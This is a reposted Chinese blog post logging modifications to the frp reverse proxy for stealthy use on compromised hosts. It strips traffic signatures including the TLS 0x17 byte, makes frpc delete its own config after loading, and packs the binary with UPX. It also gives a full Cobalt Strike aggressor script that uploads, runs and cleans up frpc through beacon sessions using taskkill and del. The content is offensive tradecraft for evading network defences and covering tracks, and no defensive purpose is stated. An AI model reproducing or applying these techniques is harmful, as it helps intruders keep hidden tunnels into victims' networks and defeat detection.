frp魔改記錄


前言

此篇不是最終版,后續會重新整理測試完善

0x01 原理

https://blog.csdn.net/RivenDong/article/details/102872132

0x02 實戰使用

0x03 修過記錄

1.流量特征

路徑:/pkg/msg/msg.go

img

上面得注釋說的很清楚 當客戶端連接時 會發送這些信息給服務端

img

可以按照這樣修改其中的值

2.加密、壓縮傳輸流量

frpc.ini中配置加上:

**use_encryption = true
**use_compression = true

如果公司內網防火牆對外網訪問進行了流量識別與屏蔽,例如禁止了 ssh 協議等,通過設置 use_encryption = true,將 frpc 與 frps 之間的通信內容加密傳輸,將會有效防止流量被攔截。

如果傳輸的報文長度較長,通過設置 use_compression = true 對傳輸內容進行壓縮,可以有效減小 frpc 與 frps 之間的網絡流量,加快流量轉發速度,但是會額外消耗一些 cpu 資源。

tls_enable = true

從 v0.25.0 版本開始 frpc 和 frps 之間支持通過 TLS 協議加密傳輸。通過在 frpc.ini 的 common 中配置 tls_enable = true 來啟用此功能,安全性更高。
為了端口復用,frp 建立 TLS 連接的第一個字節為 0x17。
通過將 frps.ini 的 [common] 中 tls_only 設置為 true,可以強制 frps 只接受 TLS 連接。

注意: 啟用此功能后除 xtcp 外,不需要再設置 use_encryption。

3.修改0x17特征

當使用tls加密的時候,觀察流量有一個固定特征是 開頭會發一個0x17

這里修改tls.go邏輯去特征:

0.37路徑是/frp-0.37.0/pkg/util/net/tls.go

img

img

驗證無問題

img

4. 隱藏frpc.ini 加載后刪除

參考文章中提到三種方法

1.加上命令行參數

這種查命令其實還是容易被發現

2.遠程加載配置文件

這樣需要通過域名或者ip解析遠程加載,也需要花時間隱藏

3.執行后刪除frpc.ini

這種方法比直接在源碼中寫死更靈活,也能很有效的隱藏

步驟:

修改文件/frp/cmd/frpc/sub/root.go文件

加上變量

img

注冊參數(默認true 直接刪除,可以在配置文件中修改)

img

最下面的serverstart函數中加上

img

檢查語法 無報錯

img

5. 生成

直接運行目錄下package.sh腳本 交叉編譯生成 前提是go和gcc安裝好

img

客戶端運行后 frpc.ini 直接刪除

img

img

0x04 CS插件聯動frp

1.upx加殼

考慮到編譯生成的frpc.exe比較大,傳的有點費勁 就使用upx壓縮加殼一下

img

也可以在linux中upx -9

(這里有些文章的大佬 還提到了upx加殼后修改特征,這個就是另一個研究方向了,本篇不深入了)

2.編寫cna腳本

這里的腳本參考xq17師傅修改的。

我配置的是運行后自動刪除ini文件,所以右鍵上傳的時候 也把ini傳上去

img

運行和刪除部分,這里直接運行命令了就。刪除部分,特地加了刪除ini 如果沒啟動成功的話 也把ini文件刪除 比較保險

img

popup beacon_bottom {
    menu "Frp Proxy"{
        item "Upload" {
            $bid = $1;
            $dialog = dialog("Upload frpc", %(UploadPath => "C:\\Windows\\Temp\\", bid => $bid), &upload);
            drow_text($dialog, "UploadPath",  "path: ");
            dbutton_action($dialog, "ok");
            dialog_show($dialog);
        }
        sub upload {
            # switch to specify path
            bcd($bid, $3['UploadPath']);
            bsleep($bid, 0 ,0);
            if (-is64 $bid['id']) {
                bupload($bid, script_resource("scripts/frpc.exe"));
		bupload($bid, script_resource("scripts/frpc.ini"));
            }else{
                bupload($bid, script_resource("scripts/frpc.ini"));
		bupload($bid, script_resource("scripts/frpc.exe"));
            }
            show_message("Executing cmmand!");
        }
        item "Run"{
            $bid = $1;
            $dialog = dialog("Run frpc", %(uri => "frpc.exe -c frpc.ini || remove the frpc.ini", bid => $bid), &run);
            drow_text($dialog, "uri",  "configURI: ");
            dbutton_action($dialog, "ok");
            dialog_show($dialog);
        }

        sub run{
            local('$Uri');
            $Uri =  $3['uri'];
            bshell($bid, "frpc.exe -c  frpc.ini ");
            show_message("Executing cmmand!");
            bsleep($bid, 5, 0);
        }

        item "Delete" {
            # local("bid");
            bshell($1, "taskkill /f /t /im frpc.exe &&  del /f /s /q frpc.exe");
	    bshell($1, "del /f /s /q frpc.ini");
        }
    }
}

}

3.同目錄放frpc

這個目錄下的scripts中放frpc.exe和frpc.ini,也可以修改腳本

然后cs客戶端中直接加載cna即可

img

這里也可以利用cs目錄中的agscript 在服務端加載cna腳本 ,或者遠程加載,這樣每個客戶端就都能使用了

姿勢多多

4.測試

img

默認是這個路徑

img

測試3m大概需要50s

img

img

右鍵直接run

img

img

配置文件已刪除

img

測試無問題

img

參考

https://f5.pm/go-28125.html

https://www.yuque.com/zirc0n/escbhg/xclhd4

https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html

https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%BB%AD.html

https://www.svenbeast.com/post/HUSusAA15/

https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649740618&idx=1&sn=f1d67aaeab34a0329c5b648c7982c143


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM